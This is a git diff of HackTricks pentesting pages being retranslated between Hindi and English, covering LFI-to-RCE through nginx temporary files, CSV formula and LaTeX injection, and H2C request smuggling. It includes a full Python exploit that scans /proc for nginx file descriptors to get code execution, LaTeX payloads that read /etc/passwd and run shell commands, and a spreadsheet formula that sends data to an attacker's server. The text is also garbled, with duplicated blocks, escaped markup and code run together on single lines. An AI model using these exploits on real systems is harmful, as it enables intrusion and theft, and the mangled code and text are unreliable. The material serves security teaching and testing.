है)। -**जब** **कनेक्शन** अभी भी खुला है, हमलावर **LFI का शोषण करेगा जो अस्थायी फ़ाइल** को लोड करता है जिसे वह नियंत्रित करता है। +**जबकि** **कनेक्शन** अभी भी खुला है, हमलावर **LFI का शोषण करेगा जो अस्थायी फ़ाइल** को लोड करता है जिसे वह नियंत्रित करता है। -हालांकि, वेब सर्वर में एक जांच है जो **`
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **चोरी करने वाले मालवेयर** द्वारा **समझौता** किए गए हैं या नहीं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} +अधिक जानकारी के लिए रेस कंडीशन और CTF का विवरण देखें [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md b/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md index 38556fe6c..37674a7b4 100644 --- a/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md +++ b/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md @@ -15,97 +15,38 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होते हैं। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - ## Vulnerable configuration [**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) -* PHP code: +* PHP कोड: +```php -\`\`\`\`h\` +/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //' -/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` नोट: इस उदाहरण में \`/proc/34/fd/15\` को सीधे शामिल नहीं किया जा सकता क्योंकि PHP का \`include\` फ़ंक्शन पथ को \`/var/lib/nginx/body/0000001368 (deleted)\` में हल करेगा जो फ़ाइल सिस्टम में मौजूद नहीं है। इस छोटे से प्रतिबंध को कुछ अप्रत्यक्षता जैसे: \`/proc/self/fd/34/../../../34/fd/15\` द्वारा भाग्यवश बायपास किया जा सकता है जो अंततः हटाए गए \`/var/lib/nginx/body/0000001368\` फ़ाइल की सामग्री को निष्पादित करेगा। ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //' ``` +```markdown requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) except: pass ``` -```python -def send_payload_worker(requests_session): - while True: - send_payload(requests_session) - -def send_payload_multiprocess(requests_session): - # सभी CPUs का उपयोग करें ताकि Nginx के लिए अनुरोध शरीर के रूप में पेलोड भेजा जा सके - for _ in range(multiprocessing.cpu_count()): - p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) - p.start() - -def generate_random_path_prefix(nginx_pids): - # यह विधि ProcFS पथ घटकों की यादृच्छिक मात्रा से एक पथ बनाती है। - # एक उत्पन्न पथ इस तरह दिखेगा /proc//cwd/proc//root/proc//root - path = "" - component_num = random.randint(0, 10) - for _ in range(component_num): - pid = random.choice(nginx_pids) - if random.randint(0, 1) == 0: - path += f"/proc/{pid}/cwd" - else: - path += f"/proc/{pid}/root" - return path - -def read_file(requests_session, nginx_pid, fd, nginx_pids): - nginx_pid_list = list(nginx_pids) - while True: - path = generate_random_path_prefix(nginx_pid_list) - path += f"/proc/{nginx_pid}/fd/{fd}" - try: - d = requests_session.get(SERVER + f"/?action=include&file={path}").text - except: - continue - # ध्वज hxp{} के रूप में स्वरूपित होते हैं - if "hxp" in d: - print("ध्वज मिला! ") - print(d) - -def read_file_worker(requests_session, nginx_pid, nginx_pids): - # Nginx FDs को 10 - 45 के बीच एक लूप में स्कैन करें। - # चूंकि फ़ाइलें और सॉकेट बंद होते रहते हैं - यह बहुत सामान्य है कि अनुरोध शरीर FD इस रेंज के भीतर खुलता है - for fd in range(10, 45): - thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids)) - thread.start() - -def read_file_multiprocess(requests_session, nginx_pids): - for nginx_pid in nginx_pids: - p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) - p.start() - -if __name__ == "__main__": - print('\[DEBUG] अनुरोध सत्र बना रहे हैं') - requests_session = create_requests_session() - print('\[DEBUG] Nginx pids प्राप्त कर रहे हैं') - nginx_pids = get_nginx_pids(requests_session) - print(f'\[DEBUG] Nginx pids: {nginx_pids}') - print('\[DEBUG] पेलोड भेजना शुरू कर रहे हैं') - send_payload_multiprocess(requests_session) - print('\[DEBUG] fd पाठकों को शुरू कर रहे हैं') - read_file_multiprocess(requests_session, nginx_pids) -``` ``` +def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session) + +def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start() + +def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\/cwd/proc/\/root/proc/\/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path + +def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d) + +def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start() + +def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start() + +if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids) + +``` ## Labs * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz) @@ -116,31 +57,18 @@ if __name__ == "__main__": * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**. - -Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware. - -You can check their website and try their engine for **free** at: - -
- {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} ``` - diff --git a/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index 55c952366..ac5ba35f5 100644 --- a/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -15,22 +15,14 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Formula Injection ### Info -यदि आपका **input** **CSV file**s (या किसी अन्य फ़ाइल) के अंदर **reflected** हो रहा है जो शायद **Excel** द्वारा खोली जाएगी, तो आप Excel **formulas** डालने में सक्षम हो सकते हैं जो तब **executed** होंगे जब उपयोगकर्ता **फाइल खोलता है** या जब उपयोगकर्ता Excel शीट के अंदर कुछ लिंक पर **क्लिक करता है**। +यदि आपका **input** **CSV file**s (या किसी अन्य फ़ाइल जो शायद **Excel** द्वारा खोली जाएगी) के अंदर **प्रतिबिंबित** हो रहा है, तो आप Excel **formulas** डालने में सक्षम हो सकते हैं जो तब **executed** होंगे जब उपयोगकर्ता **फाइल खोलता है** या जब उपयोगकर्ता Excel शीट के अंदर कुछ लिंक पर **क्लिक करता है**। {% hint style="danger" %} -आजकल **Excel उपयोगकर्ता को चेतावनी देगा** (कई बार) जब कुछ **Excel से बाहर से लोड किया जाता है** ताकि उसे दुर्भावनापूर्ण कार्रवाई से रोका जा सके। इसलिए, अंतिम payload पर सामाजिक इंजीनियरिंग पर विशेष प्रयास करना आवश्यक है। +आजकल **Excel उपयोगकर्ता को चेतावनी देगा** (कई बार) जब **Excel के बाहर से कुछ लोड किया जाता है** ताकि उसे दुर्भावनापूर्ण कार्रवाई से रोका जा सके। इसलिए, अंतिम payload पर सामाजिक इंजीनियरिंग पर विशेष प्रयास करना आवश्यक है। {% endhint %} ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) @@ -51,11 +43,11 @@ The following example was taken from [https://payatu.com/csv-injection-basic-to- कल्पना करें कि एक छात्र रिकॉर्ड प्रबंधन प्रणाली में सुरक्षा उल्लंघन को CSV इंजेक्शन हमले के माध्यम से शोषण किया गया है। हमलावर का प्राथमिक इरादा उस प्रणाली को समझौता करना है जिसका उपयोग शिक्षक छात्र विवरण प्रबंधित करने के लिए करते हैं। यह विधि हमलावर द्वारा एप्लिकेशन में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करने में शामिल है, विशेष रूप से छात्र विवरण के लिए निर्धारित क्षेत्रों में हानिकारक सूत्र दर्ज करके। हमला इस प्रकार unfolds: 1. **दुर्भावनापूर्ण पेलोड का इंजेक्शन:** -* हमलावर एक छात्र विवरण फॉर्म प्रस्तुत करता है लेकिन एक सूत्र शामिल करता है जो सामान्यतः स्प्रेडशीट में उपयोग किया जाता है (जैसे, `=HYPERLINK("","Click here")`). +* हमलावर एक छात्र विवरण फॉर्म प्रस्तुत करता है लेकिन इसमें स्प्रेडशीट में सामान्यतः उपयोग किए जाने वाले सूत्र को शामिल करता है (जैसे, `=HYPERLINK("","Click here")`). * यह सूत्र एक हाइपरलिंक बनाने के लिए डिज़ाइन किया गया है, लेकिन यह हमलावर द्वारा नियंत्रित एक दुर्भावनापूर्ण सर्वर की ओर इशारा करता है। 2. **समझौता किए गए डेटा का निर्यात:** -* शिक्षक, समझौते से अनजान, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं। -* CSV फ़ाइल, जब खोली जाती है, तब भी दुर्भावनापूर्ण पेलोड को शामिल करती है। यह पेलोड स्प्रेडशीट में एक क्लिक करने योग्य हाइपरलिंक के रूप में दिखाई देता है। +* शिक्षक, समझौते के बारे में अनजान, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं। +* CSV फ़ाइल, जब खोली जाती है, तब भी इसमें दुर्भावनापूर्ण पेलोड होता है। यह पेलोड स्प्रेडशीट में एक क्लिक करने योग्य हाइपरलिंक के रूप में दिखाई देता है। 3. **हमले को सक्रिय करना:** * एक शिक्षक हाइपरलिंक पर क्लिक करता है, यह मानते हुए कि यह छात्र के विवरण का एक वैध हिस्सा है। * क्लिक करने पर, संवेदनशील डेटा (संभवतः स्प्रेडशीट या शिक्षक के कंप्यूटर से विवरण शामिल) हमलावर के सर्वर पर भेजा जाता है। @@ -104,15 +96,15 @@ Google Sheets ऐसी फ़ंक्शन प्रदान करता आमतौर पर, सर्वर जो इंटरनेट पर **LaTeX कोड को PDF में परिवर्तित** करते हैं, वे **`pdflatex`** का उपयोग करते हैं।\ यह प्रोग्राम कमांड निष्पादन को (अ)अनुमति देने के लिए 3 मुख्य विशेषताओं का उपयोग करता है: -* **`--no-shell-escape`**: `\write18{command}` निर्माण को **अक्षम** करें, भले ही यह texmf.cnf फ़ाइल में सक्षम हो। -* **`--shell-restricted`**: `--shell-escape` के समान, लेकिन **सुरक्षित** सेट की **पूर्वनिर्धारित** \*\*कमांड्स पर **सीमित** (\*\*Ubuntu 16.04 में सूची `/usr/share/texmf/web2c/texmf.cnf` में है)। -* **`--shell-escape`**: `\write18{command}` निर्माण को **सक्षम** करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से सामान्यतः इस निर्माण की अनुमति नहीं होती है। +* **`--no-shell-escape`**: `\write18{command}` संरचना को **अक्षम** करें, भले ही यह texmf.cnf फ़ाइल में सक्षम हो। +* **`--shell-restricted`**: `--shell-escape` के समान, लेकिन **सुरक्षित** सेट की **पूर्वनिर्धारित** \*\*कमांड्स पर **सीमित**। +* **`--shell-escape`**: `\write18{command}` संरचना को **सक्षम** करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से इस संरचना को सामान्यतः अनुमति नहीं दी जाती है। -हालांकि, कमांड निष्पादित करने के अन्य तरीके हैं, इसलिए RCE से बचने के लिए `--shell-restricted` का उपयोग करना बहुत महत्वपूर्ण है। +हालांकि, कमांड निष्पादन के अन्य तरीके हैं, इसलिए RCE से बचने के लिए `--shell-restricted` का उपयोग करना बहुत महत्वपूर्ण है। ### Read file -आपको \[ या $ के रूप में रैपर के साथ इंजेक्शन को समायोजित करने की आवश्यकता हो सकती है। +आपको \[ या $ जैसे रैपर के साथ इंजेक्शन को समायोजित करने की आवश्यकता हो सकती है। ```bash \input{/etc/passwd} \include{password} # load .tex file @@ -147,7 +139,7 @@ Google Sheets ऐसी फ़ंक्शन प्रदान करता ``` ### Command execution -कमांड का इनपुट stdin पर रीडायरेक्ट किया जाएगा, इसे प्राप्त करने के लिए एक टेम्प फ़ाइल का उपयोग करें। +कमांड का इनपुट stdin पर पुनर्निर्देशित किया जाएगा, इसे प्राप्त करने के लिए एक अस्थायी फ़ाइल का उपयोग करें। ```bash \immediate\write18{env > output} \input{output} @@ -180,33 +172,28 @@ Google Sheets ऐसी फ़ंक्शन प्रदान करता \input|ls|base4 \input{|"/bin/hostname"} ``` -### क्रॉस साइट स्क्रिप्टिंग +### Cross Site Scripting -From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) +[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) से ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript Injection -**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) +**चेक करें** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) -## References +## संदर्भ * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/h2c-smuggling.md b/pentesting-web/h2c-smuggling.md index 6173c4238..5f5383a54 100644 --- a/pentesting-web/h2c-smuggling.md +++ b/pentesting-web/h2c-smuggling.md @@ -15,37 +15,29 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### H2C Smuggling #### HTTP2 Over Cleartext (H2C) -H2C, या **http2 ओवर क्लियरटेक्स्ट**, अस्थायी HTTP कनेक्शनों के मानक से भटकता है, एक मानक HTTP **कनेक्शन को स्थायी में अपग्रेड करके**। यह अपग्रेड किया गया कनेक्शन ongoing संचार के लिए http2 बाइनरी प्रोटोकॉल का उपयोग करता है, जो कि plaintext HTTP की एकल-रिक्वेस्ट प्रकृति के विपरीत है। +H2C, या **http2 over cleartext**, अस्थायी HTTP कनेक्शनों के मानक से भटकता है, एक मानक HTTP **कनेक्शन को स्थायी में अपग्रेड करके**। यह अपग्रेड किया गया कनेक्शन ongoing संचार के लिए http2 बाइनरी प्रोटोकॉल का उपयोग करता है, जो कि plaintext HTTP की एकल-निवेदन प्रकृति के विपरीत है। -स्मगलिंग समस्या का मुख्य कारण **रिवर्स प्रॉक्सी** का उपयोग है। सामान्यतः, रिवर्स प्रॉक्सी HTTP अनुरोधों को प्रोसेस और फॉरवर्ड करता है, उसके बाद बैकएंड का उत्तर लौटाता है। हालाँकि, जब HTTP अनुरोध में `Connection: Upgrade` हेडर मौजूद होता है (जो सामान्यतः वेबस्केट कनेक्शनों के साथ देखा जाता है), तो रिवर्स **प्रॉक्सी क्लाइंट और सर्वर के बीच एक स्थायी कनेक्शन बनाए रखता है**, जो कुछ प्रोटोकॉल द्वारा आवश्यक निरंतर विनिमय को सुविधाजनक बनाता है। H2C कनेक्शनों के लिए, RFC का पालन करने के लिए तीन विशिष्ट हेडरों की उपस्थिति आवश्यक है: +स्मगलिंग समस्या का मुख्य कारण **रिवर्स प्रॉक्सी** के उपयोग में है। सामान्यतः, रिवर्स प्रॉक्सी HTTP अनुरोधों को प्रोसेस और फॉरवर्ड करता है, उसके बाद बैकएंड का उत्तर लौटाता है। हालाँकि, जब HTTP अनुरोध में `Connection: Upgrade` हेडर मौजूद होता है (जो सामान्यतः वेबस्केट कनेक्शनों के साथ देखा जाता है), तो रिवर्स **प्रॉक्सी क्लाइंट और सर्वर के बीच एक स्थायी कनेक्शन बनाए रखता है**, जो कुछ प्रोटोकॉल द्वारा आवश्यक निरंतर विनिमय को सुविधाजनक बनाता है। H2C कनेक्शनों के लिए, RFC का पालन करने के लिए तीन विशिष्ट हेडरों की उपस्थिति आवश्यक है: ``` Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade, HTTP2-Settings ``` -The vulnerability arises when, after upgrading a connection, the reverse proxy ceases to manage individual requests, assuming its job of routing is complete post-connection establishment. H2C Smuggling का लाभ उठाने से अनुरोध प्रसंस्करण के दौरान लागू किए गए रिवर्स प्रॉक्सी नियमों को दरकिनार किया जा सकता है, जैसे कि पथ-आधारित रूटिंग, प्रमाणीकरण, और WAF प्रसंस्करण, यह मानते हुए कि H2C कनेक्शन सफलतापूर्वक आरंभ किया गया है। +The vulnerability arises when, after upgrading a connection, the reverse proxy ceases to manage individual requests, assuming its job of routing is complete post-connection establishment. Exploiting H2C Smuggling allows for circumvention of reverse proxy rules applied during request processing, such as path-based routing, authentication, and WAF processing, assuming an H2C connection is successfully initiated. #### Vulnerable Proxies -यह भेद्यता रिवर्स प्रॉक्सी के `Upgrade` और कभी-कभी `Connection` हेडर के प्रबंधन पर निर्भर करती है। निम्नलिखित प्रॉक्सियों में स्वाभाविक रूप से इन हेडरों को प्रॉक्सी-पास के दौरान अग्रेषित किया जाता है, जिससे H2C स्मगलिंग सक्षम होती है: +The vulnerability is contingent on the reverse proxy's handling of `Upgrade` and sometimes `Connection` headers. The following proxies inherently forward these headers during proxy-pass, thereby inherently enabling H2C smuggling: * HAProxy * Traefik * Nuster -इसके विपरीत, ये सेवाएँ स्वाभाविक रूप से प्रॉक्सी-पास के दौरान दोनों हेडरों को अग्रेषित नहीं करती हैं। हालाँकि, इन्हें असुरक्षित रूप से कॉन्फ़िगर किया जा सकता है, जिससे `Upgrade` और `Connection` हेडरों का बिना फ़िल्टर किया गया अग्रेषण संभव हो जाता है: +Conversely, these services do not inherently forward both headers during proxy-pass. However, they may be configured insecurely, allowing unfiltered forwarding of `Upgrade` and `Connection` headers: * AWS ALB/CLB * NGINX @@ -58,52 +50,52 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c #### Exploitation -यह ध्यान रखना महत्वपूर्ण है कि सभी सर्वर स्वाभाविक रूप से एक अनुपालन H2C कनेक्शन अपग्रेड के लिए आवश्यक हेडरों को अग्रेषित नहीं करते हैं। इस प्रकार, AWS ALB/CLB, NGINX, और Apache Traffic Server जैसे सर्वर स्वाभाविक रूप से H2C कनेक्शनों को अवरुद्ध करते हैं। फिर भी, अनुपालन न करने वाले `Connection: Upgrade` वैरिएंट के साथ परीक्षण करना सार्थक है, जो `Connection` हेडर से `HTTP2-Settings` मान को बाहर करता है, क्योंकि कुछ बैकएंड मानकों के अनुसार नहीं हो सकते हैं। +It's crucial to note that not all servers inherently forward the headers required for a compliant H2C connection upgrade. As such, servers like AWS ALB/CLB, NGINX, and Apache Traffic Server, among others, naturally block H2C connections. Nonetheless, it's worth testing with the non-compliant `Connection: Upgrade` variant, which excludes the `HTTP2-Settings` value from the `Connection` header, as some backends may not conform to the standards. {% hint style="danger" %} -`proxy_pass` URL में निर्दिष्ट विशेष **पथ** (जैसे, `http://backend:9999/socket.io`) की परवाह किए बिना, स्थापित कनेक्शन डिफ़ॉल्ट रूप से `http://backend:9999` होता है। यह इस तकनीक का लाभ उठाते हुए उस आंतरिक एंडपॉइंट के भीतर किसी भी पथ के साथ बातचीत की अनुमति देता है। इसलिए, `proxy_pass` URL में पथ का निर्दिष्ट करना पहुँच को प्रतिबंधित नहीं करता है। +Irrespective of the specific **path** designated in the `proxy_pass` URL (e.g., `http://backend:9999/socket.io`), the established connection defaults to `http://backend:9999`. This allows for interaction with any path within that internal endpoint, leveraging this technique. Consequently, the specification of a path in the `proxy_pass` URL does not restrict access. {% endhint %} -उपकरण [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) और [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) H2C कनेक्शन स्थापित करके **प्रॉक्सी-लगाए गए सुरक्षा उपायों को दरकिनार करने** के प्रयासों को सुविधाजनक बनाते हैं, जिससे प्रॉक्सी द्वारा संरक्षित संसाधनों तक पहुँच संभव होती है। +The tools [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) and [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitate attempts to **circumvent proxy-imposed protections** by establishing an H2C connection, thereby enabling access to resources shielded by the proxy. -इस भेद्यता के बारे में अतिरिक्त जानकारी के लिए, विशेष रूप से NGINX के संबंध में, [**इस विस्तृत संसाधन**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection) को देखें। +For additional information on this vulnerability, particularly concerning NGINX, refer to [**this detailed resource**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection). ## Websocket Smuggling -Websocket स्मगलिंग, प्रॉक्सी के माध्यम से पहुँच योग्य एक एंडपॉइंट के लिए HTTP2 टनल बनाने के विपरीत, संभावित प्रॉक्सी सीमाओं को दरकिनार करने और एंडपॉइंट के साथ सीधे संचार को सुविधाजनक बनाने के लिए एक Websocket टनल स्थापित करता है। +Websocket smuggling, unlike creating a HTTP2 tunnel to an endpoint accessible via a proxy, establishes a Websocket tunnel to bypass potential proxy limitations and facilitate direct communication with the endpoint. ### Scenario 1 -इस 